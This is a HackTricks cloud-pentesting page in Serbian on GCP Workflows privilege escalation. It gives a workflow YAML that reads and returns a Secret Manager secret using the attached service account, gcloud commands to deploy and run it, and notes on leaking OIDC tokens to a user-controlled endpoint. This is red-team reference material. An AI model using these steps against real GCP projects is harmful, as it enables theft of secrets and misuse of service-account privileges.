GCP - Workflows Privesc
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Workflows
Osnovne informacije:
workflows.workflows.create
, iam.serviceAccounts.ActAs
, workflows.executions.create
, (workflows.workflows.get
, workflows.operations.get
)
Koliko ja znam, nije moguće dobiti shell sa pristupom metapodacima koji sadrže SA akreditive SA vezanog za Workflow. Međutim, moguće je zloupotrebiti dozvole SA dodavanjem akcija koje treba izvršiti unutar Workflow-a.
Moguće je pronaći dokumentaciju konektora. Na primer, ovo je stranica konektora Secretmanager. U bočnoj traci moguće je pronaći nekoliko drugih konektora.
I ovde možete pronaći primer konektora koji štampa tajnu:
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
Ažuriranje iz CLI-a:
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
Ako dobijete grešku poput ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist
, samo sačekajte minut i pokušajte ponovo.
Ako nemate pristup vebu, moguće je pokrenuti i videti izvršenje Workflow-a sa:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
caution
Takođe možete proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije
Imajte na umu da čak i ako dobijete grešku poput PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...
jer nemate tu dozvolu, radni tok je generisan.
Leak OIDC token (i OAuth?)
Prema dokumentaciji, moguće je koristiti korake radnog toka koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao u slučaju Cloud Scheduler, HTTP zahtev sa Oauth tokenom mora biti upućen hostu .googleapis.com
.
caution
Stoga, moguće je iscuriti OIDC token ukazivanjem na HTTP endpoint koji kontroliše korisnik, ali da biste iscurili OAuth token, potrebno je zaobići tu zaštitu. Ipak, i dalje možete kontaktirati bilo koji GCP API da izvršite radnje u ime SA koristeći bilo koje konektore ili HTTP zahteve sa OAuth tokenom.
Oauth
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
OIDC
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
workflows.workflows.update
...
Sa ovom dozvolom umesto workflows.workflows.create
moguće je ažurirati već postojeći radni tok i izvršiti iste napade.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.